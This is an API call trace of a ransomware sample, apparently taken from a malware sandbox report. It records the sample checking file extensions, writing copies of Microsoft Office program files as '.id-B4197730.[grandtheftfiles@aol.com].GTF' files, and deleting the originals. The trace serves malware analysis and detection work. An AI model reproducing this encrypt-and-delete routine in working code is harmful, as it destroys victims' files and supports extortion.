	[0166.435] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85
	[0166.435] lstrlenW (lpString=".dbf") returned 4
	[0166.435] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0167.072] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1347630) returned 1
	[0167.072] CloseHandle (hObject=0x53c) returned 1
	[0167.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220
	[0167.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.105] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.105] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0167.106] GetLastError () returned 0x0
	[0167.106] ReadFile (in: hFile=0x428, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0167.134] WriteFile (in: hFile=0x53c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0167.296] ReadFile (in: hFile=0x428, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x4903e, lpOverlapped=0x0) returned 1
	[0167.309] WriteFile (in: hFile=0x53c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x49040, lpOverlapped=0x0) returned 1
	[0167.317] ReadFile (in: hFile=0x428, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.317] WriteFile (in: hFile=0x53c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0167.317] SetEndOfFile (hFile=0x53c) returned 1
	[0167.317] CloseHandle (hObject=0x53c) returned 1
	[0167.317] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.317] SetEndOfFile (hFile=0x428) returned 1
	[0167.862] CloseHandle (hObject=0x428) returned 1
	[0167.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0167.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1
	[0167.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.863] lstrlenW (lpString=".doc") returned 4
	[0167.863] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0167.863] lstrlenW (lpString=".docx") returned 5
	[0167.863] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0167.863] lstrlenW (lpString=".pdf") returned 4
	[0167.863] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0167.863] lstrlenW (lpString=".xls") returned 4
	[0167.863] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0167.863] lstrlenW (lpString=".xlsx") returned 5
	[0167.863] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0167.863] lstrlenW (lpString=".ppt") returned 4
	[0167.863] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0167.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.863] lstrlenW (lpString=".zip") returned 4
	[0167.864] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0167.864] lstrlenW (lpString=".rar") returned 4
	[0167.864] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0167.864] lstrlenW (lpString=".bz2") returned 4
	[0167.864] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0167.864] lstrlenW (lpString=".7z") returned 3
	[0167.864] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0167.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.864] lstrlenW (lpString=".dbf") returned 4
	[0167.864] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0167.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.864] lstrlenW (lpString=".1cd") returned 4
	[0167.864] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0167.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.864] lstrlenW (lpString=".jpg") returned 4
	[0167.864] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0167.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.864] lstrlenW (lpString=".doc") returned 4
	[0167.864] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0167.864] lstrlenW (lpString=".docx") returned 5
	[0167.864] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0167.864] lstrlenW (lpString=".pdf") returned 4
	[0167.864] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0167.864] lstrlenW (lpString=".xls") returned 4
	[0167.864] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0167.864] lstrlenW (lpString=".xlsx") returned 5
	[0167.864] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0167.864] lstrlenW (lpString=".ppt") returned 4
	[0167.864] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0167.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.864] lstrlenW (lpString=".zip") returned 4
	[0167.864] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0167.864] lstrlenW (lpString=".rar") returned 4
	[0167.865] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0167.865] lstrlenW (lpString=".bz2") returned 4
	[0167.865] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0167.865] lstrlenW (lpString=".7z") returned 3
	[0167.865] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0167.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.865] lstrlenW (lpString=".dbf") returned 4
	[0167.865] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0167.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.865] lstrlenW (lpString=".1cd") returned 4
	[0167.865] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0167.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0167.865] lstrlenW (lpString=".jpg") returned 4
	[0167.865] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0167.865] lstrcmpiW (lpString1=".msu", lpString2=".GTF") returned 1
	[0167.865] lstrlenW (lpString="Windows8.1-KB2999226-x64.msu") returned 28
	[0167.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.866] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=994589) returned 1
	[0167.867] CloseHandle (hObject=0x428) returned 1
	[0167.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220
	[0167.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.867] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.867] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0167.868] GetLastError () returned 0x0
	[0167.868] ReadFile (in: hFile=0x428, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xf2d1d, lpOverlapped=0x0) returned 1
	[0168.164] WriteFile (in: hFile=0x3e0, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf2d20, lpOverlapped=0x0) returned 1
	[0168.182] ReadFile (in: hFile=0x428, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.182] WriteFile (in: hFile=0x3e0, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0168.556] SetEndOfFile (hFile=0x3e0) returned 1
	[0168.556] CloseHandle (hObject=0x3e0) returned 1
	[0168.557] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.557] SetEndOfFile (hFile=0x428) returned 1
	[0168.950] CloseHandle (hObject=0x428) returned 1
	[0168.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1
	[0168.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.951] lstrlenW (lpString=".doc") returned 4
	[0168.951] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0168.952] lstrlenW (lpString=".docx") returned 5
	[0168.952] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0168.952] lstrlenW (lpString=".pdf") returned 4
	[0168.952] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0168.952] lstrlenW (lpString=".xls") returned 4
	[0168.952] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0168.952] lstrlenW (lpString=".xlsx") returned 5
	[0168.952] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0168.952] lstrlenW (lpString=".ppt") returned 4
	[0168.952] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0168.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.952] lstrlenW (lpString=".zip") returned 4
	[0168.952] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0168.952] lstrlenW (lpString=".rar") returned 4
	[0168.952] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0168.952] lstrlenW (lpString=".bz2") returned 4
	[0168.952] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0168.952] lstrlenW (lpString=".7z") returned 3
	[0168.952] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0168.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.952] lstrlenW (lpString=".dbf") returned 4
	[0168.952] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0168.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.952] lstrlenW (lpString=".1cd") returned 4
	[0168.952] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0168.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.952] lstrlenW (lpString=".jpg") returned 4
	[0168.952] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0168.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.952] lstrlenW (lpString=".doc") returned 4
	[0168.952] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0168.952] lstrlenW (lpString=".docx") returned 5
	[0168.953] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0168.953] lstrlenW (lpString=".pdf") returned 4
	[0168.953] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0168.953] lstrlenW (lpString=".xls") returned 4
	[0168.953] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0168.953] lstrlenW (lpString=".xlsx") returned 5
	[0168.953] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0168.953] lstrlenW (lpString=".ppt") returned 4
	[0168.953] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0168.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.953] lstrlenW (lpString=".zip") returned 4
	[0168.953] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0168.953] lstrlenW (lpString=".rar") returned 4
	[0168.953] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0168.953] lstrlenW (lpString=".bz2") returned 4
	[0168.953] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0168.953] lstrlenW (lpString=".7z") returned 3
	[0168.953] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0168.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.953] lstrlenW (lpString=".dbf") returned 4
	[0168.953] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0168.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.953] lstrlenW (lpString=".1cd") returned 4
	[0168.953] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0168.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0168.953] lstrlenW (lpString=".jpg") returned 4
	[0168.953] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0168.953] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.953] lstrlenW (lpString="AccessVL_MAK-ul-oob.xrm-ms") returned 26
	[0168.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0168.956] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11581) returned 1
	[0168.956] CloseHandle (hObject=0x428) returned 1
	[0168.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220
	[0168.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0168.956] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.956] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0168.957] GetLastError () returned 0x0
	[0168.957] ReadFile (in: hFile=0x428, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d3d, lpOverlapped=0x0) returned 1
	[0168.962] WriteFile (in: hFile=0x574, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0168.963] ReadFile (in: hFile=0x428, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.963] WriteFile (in: hFile=0x574, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x108, lpOverlapped=0x0) returned 1
	[0168.963] SetEndOfFile (hFile=0x574) returned 1
	[0168.963] CloseHandle (hObject=0x574) returned 1
	[0168.963] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.963] SetEndOfFile (hFile=0x428) returned 1
	[0168.966] CloseHandle (hObject=0x428) returned 1
	[0168.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1
	[0168.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.967] lstrlenW (lpString=".doc") returned 4
	[0168.967] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.967] lstrlenW (lpString=".docx") returned 5
	[0168.967] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.967] lstrlenW (lpString=".pdf") returned 4
	[0168.967] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.967] lstrlenW (lpString=".xls") returned 4
	[0168.967] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.967] lstrlenW (lpString=".xlsx") returned 5
	[0168.967] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.967] lstrlenW (lpString=".ppt") returned 4
	[0168.967] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.967] lstrlenW (lpString=".zip") returned 4
	[0168.967] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.967] lstrlenW (lpString=".rar") returned 4
	[0168.967] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.967] lstrlenW (lpString=".bz2") returned 4
	[0168.967] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.967] lstrlenW (lpString=".7z") returned 3
	[0168.967] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.968] lstrlenW (lpString=".dbf") returned 4
	[0168.968] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.968] lstrlenW (lpString=".1cd") returned 4
	[0168.968] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.968] lstrlenW (lpString=".jpg") returned 4
	[0168.968] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.968] lstrlenW (lpString=".doc") returned 4
	[0168.968] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.968] lstrlenW (lpString=".docx") returned 5
	[0168.968] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.968] lstrlenW (lpString=".pdf") returned 4
	[0168.968] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.968] lstrlenW (lpString=".xls") returned 4
	[0168.968] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.968] lstrlenW (lpString=".xlsx") returned 5
	[0168.968] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.968] lstrlenW (lpString=".ppt") returned 4
	[0168.968] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.968] lstrlenW (lpString=".zip") returned 4
	[0168.968] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.968] lstrlenW (lpString=".rar") returned 4
	[0168.968] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.968] lstrlenW (lpString=".bz2") returned 4
	[0168.968] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.968] lstrlenW (lpString=".7z") returned 3
	[0168.968] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
